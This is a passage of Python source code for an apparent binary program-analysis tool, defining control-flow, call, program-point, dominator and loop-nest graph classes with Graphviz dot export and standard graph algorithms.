in a call graph\"\"\"\n\n def dotify(self):\n label = []\n label.append(dot.HTML.open_html)\n label.append(dot.HTML.open_table)\n\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell())\n label.append(self.name)\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n\n label.append(dot.HTML.close_table)\n label.append(dot.HTML.close_html)\n\n return '{} [label={}, shape=record];\\n'.format(self, ''.join(label))\n\n\nclass BasicBlock(NamedVertex, instructions.Instructions):\n \"\"\"Models a sequence of instructions and control into and out of that sequence\"\"\"\n\n def change_review_status_of_instructions(self,\n current_status: instructions.ReviewStatus,\n new_status: instructions.ReviewStatus):\n for instruction in self:\n for field in instruction:\n if field.status == current_status:\n field.status = new_status\n\n def dotify(self):\n label = []\n label.append(dot.HTML.open_html)\n label.append(dot.HTML.open_table)\n\n column_span = 2\n if self:\n column_span += len(max(self, key=lambda instruction: len(instruction)))\n\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell(column_span=column_span))\n label.append(self.name)\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n\n if __debug__:\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell(color=dot.Colors.cyan, border=5, column_span=column_span))\n label.append('id={}'.format(self))\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n\n for i in self:\n label.extend(i.dotify())\n\n label.append(dot.HTML.close_table)\n label.append(dot.HTML.close_html)\n\n return '{} [label={}, shape=box];\\n'.format(self, ''.join(label))\n\n\nclass InstructionVertex(Vertex, set):\n \"\"\"Models an instruction in a dependency graph of instruction scheduling. The set component contains all\n instructions on which this instruction depends inside a basic block\"\"\"\n\n def __init__(self, id_, instruction: instructions.Instruction):\n Vertex.__init__(self, id_)\n self.__instruction = instruction\n\n @property\n def instruction(self) -> instructions.Instruction:\n return self.__instruction\n\n def dotify(self):\n label = []\n label.append(dot.HTML.open_html)\n label.append(dot.HTML.open_table)\n label.extend(self.__instruction.dotify())\n label.append(dot.HTML.close_table)\n label.append(dot.HTML.close_html)\n return '{} [label={}, shape=record]'.format(self, ''.join(label))\n\n\nclass Edge:\n \"\"\"Base edge class\"\"\"\n\n def __init__(self, predecessor, successor):\n self._predecessor = predecessor\n self._successor = successor\n\n def predecessor(self):\n return self._predecessor\n\n def successor(self):\n return self._successor\n\n def __eq__(self, other):\n if type(other) is type(self):\n return self.__dict__ == other.__dict__\n return NotImplemented\n\n def __ne__(self, other):\n return not self == other\n\n def __hash__(self):\n # Hash on vertex identifiers that compose the edge.\n # Not collision resistant, but probably good enough for the vast majority of graphs.\n return hash((self.predecessor(), self.successor()))\n\n def __str__(self):\n return \"({}, {})\".format(self._predecessor, self._successor)\n\n def dotify(self):\n return '{}->{};\\n'.format(self._predecessor.id_, self._successor.id_)\n\n\nclass Direction(enum.Enum):\n \"\"\"Direction of control flow of an edge P => S:\n NONE means there is no direction information for P => S.\n RETURN means P only has one successor, S, but P transfers control to another subprogram.\n CONTINUE means P only has one successor, S, and the first instruction of S immediately follows the last instruction\n of P.\n ELSE means P is a 2-way branch and P => S is the false arm.\n THEN means P is a 2-way branch and P => S is the true arm.\n CASE means P is an n-way branch and P => S is one arm of the branch.\n UNREACHABLE means control flow can never traverse P => S\"\"\"\n\n NONE = 0\n RETURN = 1\n CONTINUE = 2\n ELSE = 3\n THEN = 4\n CASE = 5\n UNREACHABLE = 6\n\n\nclass ControlFlowEdge(Edge):\n \"\"\"Models a transfer of control between basic blocks\"\"\"\n\n def __init__(self, predecessor, successor, direction=Direction.NONE):\n Edge.__init__(self, predecessor, successor)\n self.__direction = direction\n self.__callee = None\n\n @property\n def direction(self):\n return self.__direction\n\n @direction.setter\n def direction(self, value: Direction):\n self.__direction = value\n\n def set_return(self, callee: SubprogramVertex):\n self.__direction = Direction.RETURN\n self.__callee = callee\n\n def dotify(self):\n if not(self.direction == Direction.NONE or self.direction == Direction.CONTINUE):\n label = self.direction.name.lower()\n else:\n label = ''\n color = dot.Colors.black\n style = dot.Styles.solid\n\n if self.direction == Direction.RETURN:\n label = '{} ({})'.format(self.direction.name.lower(), self.__callee.name if self.__callee else '?')\n color = dot.Colors.blue\n style = dot.Styles.bold\n elif self.direction == Direction.UNREACHABLE:\n color = dot.Colors.red\n style = dot.Styles.dotted\n return '{}->{} [label=\"{}\", fontcolor={}, color={}, style={}];\\n'.format(self._predecessor.id_,\n self._successor.id_,\n label,\n color,\n color,\n style)\n\n\nclass TransitionEdge(Edge, list):\n \"\"\"Models a transition between two program points and the sequence of instructions executed during the transition\"\"\"\n\n def __init__(self, predecessor, successor):\n Edge.__init__(self, predecessor, successor)\n self._back_edge = False\n\n @property\n def back_edge(self):\n return self._back_edge\n\n def set_back_edge(self):\n self._back_edge = True\n\n def dotify(self):\n label = []\n label.append(dot.HTML.open_html)\n label.append(dot.HTML.open_table)\n\n for arg in self:\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell(color=dot.Colors.red, border=2))\n label.append(str(arg.program_point))\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n\n if not self:\n label.extend(dot.HTML.dummy_row())\n\n label.append(dot.HTML.close_table)\n label.append(dot.HTML.close_html)\n\n return '{}->{} [label={}, style={}];\\n'.format(self._predecessor.id_,\n self._successor.id_,\n ''.join(label),\n dot.Styles.dotted if self._back_edge else dot.Styles.bold)\n\n\nclass LoopTransition(Edge, set):\n class Direction(enum.Enum):\n ENTRY = 0\n EXIT = 1\n BACK = 2\n\n \"\"\"Models the transitions that execute when control passes into and out of loops\"\"\"\n def __init__(self, predecessor, successor, direction):\n Edge.__init__(self, predecessor, successor)\n self._direction = direction\n\n @property\n def direction(self):\n return self._direction\n\n def dotify(self):\n label = []\n label.append(dot.HTML.open_html)\n label.append(dot.HTML.open_table)\n\n if self._direction == LoopTransition.Direction.ENTRY:\n color = dot.Colors.red\n elif self._direction == LoopTransition.Direction.EXIT:\n color = dot.Colors.cyan\n else:\n color = dot.Colors.light_grey\n\n if self:\n for transition in self:\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell(color=color, border=2))\n label.append('{} to {}'.format(str(transition.predecessor()), str(transition.successor())))\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n else:\n label.extend(dot.HTML.dummy_row())\n\n label.append(dot.HTML.close_table)\n label.append(dot.HTML.close_html)\n\n return '{}->{} [label={}, color={}];\\n'.format(self._predecessor.id_,\n self._successor.id_,\n ''.join(label),\n color)\n\n\nclass CallGraphEdge(Edge):\n def __init__(self, predecessor, successor, call_site):\n Edge.__init__(self, predecessor, successor)\n self.__call_site = call_site\n\n @property\n def call_site(self):\n return self.__call_site\n\n def dotify(self):\n return '{}->{} [label=\"{}\"];\\n'.format(self._predecessor, self._successor, self.__call_site)\n\n\nclass ProgramPointVertex(Vertex):\n \"\"\"A program point is either a vertex or an edge\"\"\"\n\n def __init__(self, id_, program_point: Edge or Vertex):\n if not isinstance(program_point, (Edge, Vertex)):\n raise TypeError('Program point must be a vertex or an edge')\n Vertex.__init__(self, id_)\n self.__program_point = program_point\n\n @property\n def program_point(self) -> Edge or Vertex:\n return self.__program_point\n\n def __str__(self):\n return str(self.__program_point)\n\n def dotify(self):\n label = []\n label.append(dot.HTML.open_html)\n label.append(dot.HTML.open_table)\n\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell(color=dot.Colors.cyan, border=5))\n label.append('id={}'.format(self.id_))\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell())\n label.append(str(self.__program_point))\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n\n label.append(dot.HTML.close_table)\n label.append(dot.HTML.close_html)\n\n return '{} [label={}, shape=record];\\n'.format(self.id_, ''.join(label))\n\n\nclass Junction(Vertex):\n def __init__(self, id_, representative):\n Vertex.__init__(self, id_)\n self._representative = representative\n\n @property\n def representative(self):\n return self._representative\n\n def dotify(self):\n label = []\n label.append(dot.HTML.open_html)\n label.append(dot.HTML.open_table)\n\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell())\n label.append(str(self.representative.program_point))\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n\n label.append(dot.HTML.close_table)\n label.append(dot.HTML.close_html)\n\n return '{} [label={}, shape=circle];\\n'.format(self, ''.join(label))\n\n\nclass SuperBlock(Vertex, list):\n \"\"\"A super block is a set of program points\"\"\"\n\n def __init__(self, id_):\n Vertex.__init__(self, id_)\n self.__representative = None\n\n def append(self, element):\n if not isinstance(element, ProgramPointVertex):\n raise TypeError('Only program points can be added to super blocks')\n list.append(self, element)\n\n @property\n def representative(self):\n return self.__representative\n\n @representative.setter\n def representative(self, v):\n self.__representative = v\n\n def _label(self, *args):\n label = []\n label.append(dot.HTML.open_html)\n label.append(dot.HTML.open_table)\n\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell(color=dot.Colors.cyan, border=5))\n label.append('id={}'.format(self))\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n\n for arg in args:\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell(color=dot.Colors.red, border=2))\n label.append(arg)\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n\n for v in self:\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell())\n label.append(str(v.program_point))\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n\n label.append(dot.HTML.close_table)\n label.append(dot.HTML.close_html)\n return label\n\n def dotify(self):\n return '{} [label={}, shape=record];\\n'.format(self, ''.join(self._label()))\n\n\nclass LoopBody(SuperBlock):\n \"\"\"Models a loop body\"\"\"\n\n def __init__(self, id_, header: Vertex):\n SuperBlock.__init__(self, id_)\n self.__header = header\n self.__tails = set()\n\n @property\n def header(self) -> Vertex:\n return self.__header\n\n @property\n def tails(self):\n return self.__tails\n\n @tails.setter\n def tails(self, value):\n self.__tails.update(value)\n\n\nclass Sequence(Vertex):\n def dotify(self):\n label = []\n label.append(dot.HTML.open_html)\n label.append(dot.HTML.open_table)\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell(color=dot.Colors.yellow, border=5))\n label.append('SEQ')\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n label.append(dot.HTML.close_table)\n label.append(dot.HTML.close_html)\n return '{} [label={}]'.format(self, ''.join(label))\n\n\nclass Alternative(Vertex):\n def dotify(self):\n label = []\n label.append(dot.HTML.open_html)\n label.append(dot.HTML.open_table)\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell(color=dot.Colors.red, border=5))\n label.append('ALT')\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n label.append(dot.HTML.close_table)\n label.append(dot.HTML.close_html)\n return '{} [label={}]'.format(self, ''.join(label))\n\n\nclass Loop(Vertex):\n pass\n\n\nclass InvalidVertexError(ValueError):\n pass\n\n\nclass DuplicateVertexError(ValueError):\n pass\n\n\nclass MultiEdgeError(ValueError):\n pass\n\n\nclass VertexData:\n \"\"\"Models the relation of a vertex to other vertices inside a directed graph. By __not__ attaching predecessor and\n successor information to a vertex, we allow the same vertex to exist in several directed graphs simultaneously. All\n edge information must be requested through the directed graph.\"\"\"\n\n __slots__ = ['v', 'predecessors', 'successors']\n\n def __init__(self, v: Vertex):\n self.v = v\n self.predecessors = []\n self.successors = []\n\n\nclass DirectedGraph:\n \"\"\"Models a directed graph: A set of vertices and a set of directed edges\"\"\"\n\n def __init__(self):\n self._data = {}\n\n def add_vertex(self, v: Vertex):\n if v.id_ in self._data:\n raise DuplicateVertexError('Graph already contains a vertex with ID {}'.format(v.id_))\n self._data[v.id_] = VertexData(v)\n\n def _get_vertex_data(self, v: Vertex) -> VertexData:\n try:\n return self._data[v.id_]\n except KeyError:\n messages.error_message(\"No data for vertex with ID {}\".format(v.id_))\n\n def remove_vertex(self, v: Vertex):\n v_info = self._get_vertex_data(v)\n for e in v_info.predecessors:\n self.remove_successor(e.predecessor(), v)\n for e in v_info.successors:\n self.remove_predecessor(e.successor(), v)\n del self._data[v.id_]\n\n def __contains__(self, v: Vertex):\n return v.id_ in self._data\n\n def __iter__(self):\n for _ in self._data.values():\n yield _.v\n\n def number_of_vertices(self):\n return len(self._data)\n\n def number_of_edges(self):\n return sum([len(self.successors(v)) for v in self])\n\n def predecessors(self, v: Vertex):\n return self._get_vertex_data(v).predecessors\n\n def successors(self, v: Vertex):\n return self._get_vertex_data(v).successors\n\n def add_edge(self, e: Edge) -> None:\n p_info = self._get_vertex_data(e.predecessor())\n p_info.successors.append(e)\n s_info = self._get_vertex_data(e.successor())\n s_info.predecessors.append(e)\n\n def has_edge(self, p: Vertex, s: Vertex):\n return self.has_successor(p, s) and self.has_predecessor(s, p)\n\n def remove_predecessor(self, v, p):\n v_info = self._get_vertex_data(v)\n updated_predecessors = [e for e in v_info.predecessors if e.predecessor() != p]\n v_info.predecessors = updated_predecessors\n\n def remove_successor(self, v, s):\n v_info = self._get_vertex_data(v)\n updated_successors = [e for e in v_info.successors if e.successor() != s]\n v_info.successors = updated_successors\n\n def remove_edge(self, e: Edge):\n self.remove_successor(e.predecessor(), e.successor())\n self.remove_predecessor(e.successor(), e.predecessor())\n\n def has_predecessor(self, v, p):\n return [e for e in self.predecessors(v) if e.predecessor() == p]\n\n def has_successor(self, v, s):\n return [e for e in self.successors(v) if e.successor() == s]\n\n def wipe_edges(self, v):\n v_info = self._get_vertex_data(v)\n v_info.predecessors = []\n v_info.successors = []\n\n def __str__(self):\n value = ''\n for v in self:\n value += 'V: {}\\n'.format(v)\n for edge in self.successors(v):\n value += 'E: {}\\n'.format(edge)\n value += '\\n'\n return value\n\n\nclass CallGraph(DirectedGraph):\n \"\"\"Models the calling relationship between subprograms\"\"\"\n\n def __init__(self, program):\n DirectedGraph.__init__(self)\n self.program = program\n\n def is_call_site(self, call_vertex: SubprogramVertex, basic_block: BasicBlock):\n for e in self.successors(call_vertex):\n if e.call_site == basic_block:\n return e.successor()\n return None\n\n def dotify(self):\n data = []\n for v in self:\n data.append(v.dotify())\n for e in sorted([e for e in self.successors(v)], key=lambda e: e.successor().name):\n data.append(e.dotify())\n\n filename = '{}.call.dot'.format(self.program.basename())\n dot.generate(filename, data)\n\n\nclass ProgramData:\n \"\"\"Track which program and subprogram a graph belongs to\"\"\"\n\n def __init__(self, program, name):\n self._program = program\n self._name = name\n\n @property\n def program(self):\n return self._program\n\n @property\n def name(self):\n return self._name\n\n\nclass FlowGraph(DirectedGraph, ProgramData):\n \"\"\"Models a directed graph that has a designated entry vertex and a designated exit vertex\"\"\"\n\n def __init__(self, program, name):\n DirectedGraph.__init__(self)\n ProgramData.__init__(self, program, name)\n self._entry = None\n self._exit = None\n self._pre_dominator_tree = None\n self._post_dominator_tree = None\n\n @property\n def entry(self):\n assert self._entry is not None\n return self._entry\n\n @entry.setter\n def entry(self, value):\n self._entry = value\n\n @property\n def exit(self):\n assert self._exit is not None\n return self._exit\n\n @exit.setter\n def exit(self, value):\n self._exit = value\n\n def remove_vertex(self, v: Vertex):\n DirectedGraph.remove_vertex(self, v)\n if v == self._entry:\n self._entry = None\n if v == self._exit:\n self._exit = None\n\n def pre_dominator_tree(self):\n if self._pre_dominator_tree is None:\n self._pre_dominator_tree = DominatorTree(self, self.entry)\n return self._pre_dominator_tree\n\n def post_dominator_tree(self):\n if self._post_dominator_tree is None:\n self._post_dominator_tree = DominatorTree(self, self.exit)\n return self._post_dominator_tree\n\n\nclass ControlFlowGraph(FlowGraph):\n \"\"\"Models a control flow graph at the disassembly code level where:\n a) each vertex is a basic block of instructions and\n b) edges represent intra-procedural control flow\"\"\"\n\n def __init__(self, program, name):\n FlowGraph.__init__(self, program, name)\n\n def cull_unreachable(self):\n assert self.entry\n # Remove edges known to be unreachable.\n for v in self:\n for e in self.successors(v):\n if e.direction == Direction.UNREACHABLE:\n messages.debug_message(\"Edge {} is unreachable in subprogram '{}'\".format(e, self.name))\n self.remove_edge(e)\n\n # Remove vertices that cannot be reached from the entry vertex.\n dfs = DepthFirstSearch(self, self.entry)\n dead_vertices = [v for v in self if v not in dfs.pre_order()]\n for v in dead_vertices:\n messages.debug_message(\"Basic block {} is unreachable in subprogram '{}'\".format(v, self.name))\n self.remove_vertex(v)\n\n # Relabel edges of branches that have been flattened.\n for v in self:\n if len(self.successors(v)) == 1:\n (sole_e,) = self.successors(v)\n if sole_e.direction == Direction.ELSE or sole_e.direction == Direction.THEN:\n sole_e.direction = Direction.CONTINUE\n\n def dotify(self, suffix=''):\n assert self.entry\n data = []\n queue = [self.entry]\n visited = set()\n while queue:\n v = queue.pop()\n visited.add(v)\n data.append(v.dotify())\n for e in self.successors(v):\n data.append(e.dotify())\n if not (e.successor() in visited or e.successor() in queue):\n queue.insert(0, e.successor())\n\n if suffix:\n filename = '{}.{}.cfg.{}.dot'.format(self.program.basename(), self.name, suffix)\n else:\n filename = '{}.{}.cfg.dot'.format(self.program.basename(), self.name)\n dot.generate(filename, data)\n\n\nclass ProgramPointGraph(FlowGraph):\n @classmethod\n def create_from_control_flow_graph(cls, cfg: ControlFlowGraph):\n ppg = ProgramPointGraph(cfg.program, cfg.name)\n # Add a vertex per basic block\n for basic_block in cfg:\n v = ProgramPointVertex(Vertex.get_vertex_id(), basic_block)\n ppg.add_vertex(v)\n if v.program_point == cfg.entry:\n ppg._entry = v\n if v.program_point == cfg.exit:\n ppg._exit = v\n\n def add_edge(edge):\n v = ProgramPointVertex(Vertex.get_vertex_id(), edge)\n ppg.add_vertex(v)\n p = ppg.__program_point_to_vertex[edge.predecessor()]\n s = ppg.__program_point_to_vertex[edge.successor()]\n ppg.add_edge(TransitionEdge(p, v))\n ppg.add_edge(TransitionEdge(v, s))\n\n # Add a vertex per control flow transition, and join the control flow\n # transition to its end points on both sides\n for v in cfg:\n for edge in cfg.successors(v):\n add_edge(edge)\n\n # Add dummy edge\n edge = TransitionEdge(cfg.exit, cfg.entry)\n add_edge(edge)\n\n return ppg\n\n def __init__(self, program, name):\n FlowGraph.__init__(self, program, name)\n self.__program_point_to_vertex = {}\n\n def add_vertex(self, v: ProgramPointVertex):\n FlowGraph.add_vertex(self, v)\n self.__program_point_to_vertex[v.program_point] = v\n\n def remove_vertex(self, v: ProgramPointVertex):\n FlowGraph.remove_vertex(self, v)\n del self.__program_point_to_vertex[v.program_point]\n\n def __getitem__(self, item: Edge or Vertex):\n try:\n return self.__program_point_to_vertex[item]\n except KeyError:\n messages.error_message('No vertex in program point graph for program point {}'.format(str(item)))\n\n def trace_filename(self):\n return '{}.{}.ppg.trace'.format(self.program.basename(), self.name)\n\n def choose_instrumentation(self):\n def attempt_removal():\n existing_edges = set()\n new_edges = set()\n for predecessor_edge in self.predecessors(v):\n for successor_edge in self.successors(predecessor_edge.predecessor()):\n existing_edges.add(successor_edge)\n for successor_edge in self.successors(v):\n new_edges.add(TransitionEdge(predecessor_edge.predecessor(), successor_edge.successor()))\n\n if existing_edges.intersection(new_edges):\n return False\n else:\n self.remove_vertex(v)\n for edge in new_edges:\n self.add_edge(edge)\n return True\n\n changed = True\n while changed:\n changed = False\n candidates = [v for v in self if v != self.entry and v != self.exit]\n random.shuffle(candidates)\n for v in candidates:\n if attempt_removal():\n changed = True\n\n def dotify(self, suffix=''):\n data = []\n if self._entry:\n dfs = DepthFirstSearch(self, self.entry)\n order = list(reversed(dfs.post_order()))\n else:\n order = [v for v in self]\n for v in order:\n data.append(v.dotify())\n for e in self.successors(v):\n data.append(e.dotify())\n for v in self:\n if v not in order:\n data.append(v.dotify())\n for e in self.successors(v):\n data.append(e.dotify())\n\n if suffix:\n filename = '{}.{}.ppg.{}.dot'.format(self.program.basename(), self.name, suffix)\n else:\n filename = '{}.{}.ppg.dot'.format(self.program.basename(), self.name)\n dot.generate(filename, data)\n\n\nclass DominatorGraph(FlowGraph):\n def __init__(self, flow_graph):\n FlowGraph.__init__(self, flow_graph.program, flow_graph.name)\n self.__add_vertices(flow_graph)\n self.__add_edges(flow_graph)\n\n def __add_vertices(self, flow_graph):\n for v in flow_graph.pre_dominator_tree():\n self.add_vertex(v)\n\n def __add_edges(self, flow_graph):\n for v in flow_graph.pre_dominator_tree():\n for succ_edge in flow_graph.pre_dominator_tree().successors(v):\n self.add_edge(Edge(v, succ_edge.successor()))\n for v in flow_graph.post_dominator_tree():\n for succ_edge in flow_graph.post_dominator_tree().successors(v):\n self.add_edge(Edge(v, succ_edge.successor()))\n\n def dotify(self):\n data = []\n for v in self:\n data.append(v.dotify())\n for succ_edge in self.successors(v):\n data.append(succ_edge.dotify())\n\n filename = '{}.{}.dominator.dot'.format(self.program.basename(), self.name)\n dot.generate(filename, data)\n\n\nclass DependenceGraph(DirectedGraph):\n def __init__(self, program, cfg, basic_block: BasicBlock):\n DirectedGraph.__init__(self, program)\n self._cfg = cfg\n self._basic_block = basic_block\n\n def dotify(self):\n data = []\n for v in self:\n data.append(v.dotify())\n for e in self.successors(v):\n data.append(e.dotify())\n\n filename = '{}{}.{}.order.dot'.format(self.program.basename(), self._cfg.name, self._basic_block)\n dot.generate(filename, data)\n\n def reduce_transitively(self):\n # Set up a dummy entry vertex to satisfy the depth-first search contract\n entry_v = InstructionVertex(Vertex.get_vertex_id(), None)\n self.add_vertex(entry_v)\n for v in self:\n if v != entry_v and len(self.predecessors(v)) == 0:\n self.add_edge(Edge(entry_v, v))\n\n # Compute\n dfs = DepthFirstSearch(self, entry_v)\n data = {v: set() for v in self}\n for v in reversed(dfs.post_order()):\n for e in self.predecessors(v):\n data[v].update(data[e.predecessor()])\n deletions = []\n for e in self.predecessors(v):\n if e.predecessor() in data[v]:\n deletions.append(e)\n for e in deletions:\n self.remove_edge(e)\n for e in self.predecessors(v):\n data[v].add(e.predecessor())\n\n for v in reversed(dfs.post_order()):\n for e in self.predecessors(v):\n v.update(e.predecessor())\n v.add(e.predecessor())\n\n # Clean up\n self.remove_vertex(entry_v)\n\n\nclass Tree(DirectedGraph):\n def __init__(self):\n DirectedGraph.__init__(self)\n self._root = None\n\n @property\n def root(self):\n return self._root\n\n def is_proper_ancestor(self, a: Vertex, v: Vertex):\n if v == self.root:\n return False\n else:\n (predecessor_e,) = self.predecessors(v)\n if predecessor_e.predecessor() == a:\n return True\n else:\n return self.is_proper_ancestor(a, predecessor_e.predecessor())\n\n def is_ancestor(self, a: Vertex, v: Vertex):\n return a == v or self.is_proper_ancestor(a, v)\n\n\nclass DominatorTree(Tree, ProgramData):\n class Type(enum.Enum):\n PRE = 0\n POST = 1\n\n def __init__(self, flow_graph: FlowGraph, root: Vertex):\n Tree.__init__(self)\n ProgramData.__init__(self, flow_graph.program, flow_graph.name)\n self._root = root\n self.__compute(flow_graph)\n assert len(self.predecessors(self._root)) == 0\n if self._root == flow_graph.entry:\n self._type = DominatorTree.Type.PRE\n else:\n self._type = DominatorTree.Type.POST\n\n def dotify(self):\n data = []\n for v in self:\n data.append(v.dotify())\n for e in self.successors(v):\n data.append(e.dotify())\n\n if self._type == DominatorTree.Type.PRE:\n suffix = 'pre'\n else:\n suffix = 'post'\n filename = '{}.{}.{}.dot'.format(self.program.basename(), self.name, suffix)\n dot.generate(filename, data)\n\n def __compute(self, flow_graph):\n # This is an implementation of the Lengauer-Tarjan algorithm\n def link(v, w):\n s = w\n while semi[label[w]] < semi[label[child[s]]]:\n if size[s] + size[child[child[s]]] >= 2 * size[child[s]]:\n ancestor[child[s]] = s\n child[s] = child[child[s]]\n else:\n size[child[s]] = size[s]\n ancestor[s] = child[s]\n s = ancestor[s]\n label[s] = label[w]\n size[v] += size[w]\n if size[v] < 2 * size[w]:\n s, child[v] = child[v], s\n while s != self._root:\n ancestor[s] = v\n s = child[s]\n\n def compress(v):\n if ancestor[ancestor[v]] != self._root:\n compress(ancestor[v])\n if semi[label[ancestor[v]]] < semi[label[v]]:\n label[v] = label[ancestor[v]]\n ancestor[v] = ancestor[ancestor[v]]\n\n def evaluate(v):\n if ancestor[v] == self._root:\n return label[v]\n else:\n compress(v)\n if semi[label[ancestor[v]]] >= semi[label[v]]:\n return label[v]\n else:\n return label[ancestor[v]]\n\n def do_search(v: Vertex):\n nonlocal pre_id\n pre_id += 1\n semi[v] = pre_id\n pre_order[pre_id] = v\n label[v] = v\n ancestor[v] = self._root\n child[v] = self._root\n size[v] = 1\n bucket[v] = set()\n self.add_vertex(v)\n\n for e in forward_transitions(flow_graph, v):\n if semi[forward_transition(e)] == 0:\n parent[forward_transition(e)] = v\n do_search(forward_transition(e))\n\n class Bijection(dict):\n def __setitem__(self, key, value):\n if key in self:\n del self[key]\n if value in self:\n del self[value]\n dict.__setitem__(self, key, value)\n dict.__setitem__(self, value, key)\n\n def __delitem__(self, key):\n dict.__delitem__(self, self[key])\n dict.__delitem__(self, key)\n\n if self._root == flow_graph.entry:\n forward_transitions = DirectedGraph.successors\n forward_transition = Edge.successor\n backward_transitions = DirectedGraph.predecessors\n backward_transition = Edge.predecessor\n else:\n forward_transitions = DirectedGraph.predecessors\n forward_transition = Edge.predecessor\n backward_transitions = DirectedGraph.successors\n backward_transition = Edge.successor\n\n label = {}\n parent = {}\n ancestor = {}\n child = {}\n pre_order = Bijection()\n size = {}\n bucket = {}\n size[self._root] = 0\n ancestor[self._root] = self._root\n label[self._root] = self._root\n semi = {v: 0 for v in flow_graph}\n idom = {}\n\n # Stage 1: Do depth-first search\n pre_id = 0\n do_search(self._root)\n\n # Stage 2: Compute semi-dominators\n for i in reversed(range(2, pre_id + 1)):\n # Reverse pre-order\n w = pre_order[i]\n\n for e in backward_transitions(flow_graph, w):\n u = evaluate(backward_transition(e))\n if semi[u] < semi[w]:\n semi[w] = semi[u]\n\n bucket[pre_order[semi[w]]].update({w})\n link(parent[w], w)\n\n while bucket[parent[w]]:\n v = bucket[parent[w]].pop()\n u = evaluate(v)\n if semi[u] < semi[v]:\n idom[v] = u\n else:\n idom[v] = parent[w]\n\n # Stage 3: Set immediate dominators\n for i in range(2, pre_id + 1):\n w = pre_order[i]\n if idom[w] != pre_order[semi[w]]:\n idom[w] = idom[idom[w]]\n\n # All done: Add edges to the tree data structure\n for child, parent in idom.items():\n self.add_edge(Edge(parent, child))\n\n\nclass DominanceFrontiers:\n def __init__(self, g: FlowGraph, t: DominatorTree):\n self._frontier = {v: set() for v in g}\n self.__compute(g, t)\n\n def __getitem__(self, item):\n return self._frontier[item]\n\n def __compute(self, g, t):\n if t.root == g.entry:\n backward_transitions = DirectedGraph.predecessors\n backward_transition = Edge.predecessor\n else:\n backward_transitions = DirectedGraph.successors\n backward_transition = Edge.successor\n\n for v in g:\n if len(backward_transitions(g, v)) > 1:\n (parent_e,) = t.predecessors(v)\n immediate_dominator = parent_e.predecessor()\n for e in backward_transitions(g, v):\n runner = backward_transition(e)\n while runner != immediate_dominator:\n self._frontier[runner].add(v)\n (parent_e,) = t.predecessors(runner)\n runner = parent_e.predecessor()\n\n\nclass StrongComponents:\n def __init__(self, directed_graph: DirectedGraph):\n self._scc = {v: None for v in directed_graph}\n self.__compute(directed_graph)\n\n def __getitem__(self, item):\n return self._scc[item]\n\n def __iter__(self):\n for scc_id in set(self._scc.values()):\n yield scc_id\n\n def __compute(self, directed_graph):\n def explore(v):\n nonlocal pre_id\n pre_id += 1\n pre_order[v] = pre_id\n low_link[v] = pre_id\n stack.append(v)\n\n for e in directed_graph.successors(v):\n if pre_order[e.successor()] == 0:\n explore(e.successor())\n low_link[v] = min(low_link[v], low_link[e.successor()])\n elif e.successor() in stack:\n low_link[v] = min(low_link[v], pre_order[e.successor()])\n\n if low_link[v] == pre_order[v]:\n nonlocal scc_id\n scc_id += 1\n while True:\n z = stack.pop()\n self._scc[z] = scc_id\n if z == v:\n break\n\n scc_id = 0\n pre_id = 0\n stack = []\n pre_order = {v: 0 for v in directed_graph}\n low_link = {v: 0 for v in directed_graph}\n for v in directed_graph:\n if pre_order[v] == 0:\n explore(v)\n\n\nclass DepthFirstSearch:\n def __init__(self, g: DirectedGraph, root: Vertex):\n self._pre_order = {}\n self._post_order = {}\n self._back_edges = []\n self.__search(g, root)\n\n def pre_order(self):\n return list(e[0] for e in sorted(self._pre_order.items(), key=lambda e: e[1]))\n\n def post_order(self):\n return list(e[0] for e in sorted(self._post_order.items(), key=lambda e: e[1]))\n\n def pre_order_number(self, v: Vertex):\n return self._pre_order[v]\n\n def post_order_number(self, v: Vertex):\n return self._post_order[v]\n\n @property\n def back_edges(self):\n return self._back_edges\n\n def __search(self, g, root):\n def explore(v):\n nonlocal pre_id\n pre_id += 1\n self._pre_order[v] = pre_id\n\n for e in g.successors(v):\n if e.successor() not in self._pre_order:\n # Not yet visited\n explore(e.successor())\n elif self._pre_order[v] < self._pre_order[e.successor()]:\n pass\n elif e.successor() not in self._post_order:\n self._back_edges.append(e)\n\n nonlocal post_id\n post_id += 1\n self._post_order[v] = post_id\n\n pre_id = 0\n post_id = 0\n explore(root)\n\n\nclass LoopNests(FlowGraph):\n def __init__(self, ppg, unify_shared_loops=True):\n FlowGraph.__init__(self, ppg.program, ppg.name)\n self._loops = []\n self._headers = set()\n self._tails = set()\n self._program_point_to_loop = {v: None for v in ppg}\n self.__discover_loop_bodies(ppg, unify_shared_loops)\n self.__model_control_flow_into_and_out_of_loop(ppg)\n (self.entry,) = [loop for loop in self if ppg.entry in loop]\n (self.exit,) = [loop for loop in self if ppg.exit in loop]\n\n def __discover_loop_bodies(self, ppg, unify_shared_loops):\n def do_search(v):\n visited.add(v)\n if v != header:\n for e in ppg.predecessors(v):\n where_next = containment[e.predecessor()]\n if where_next not in visited:\n do_search(where_next)\n order.append(v)\n\n 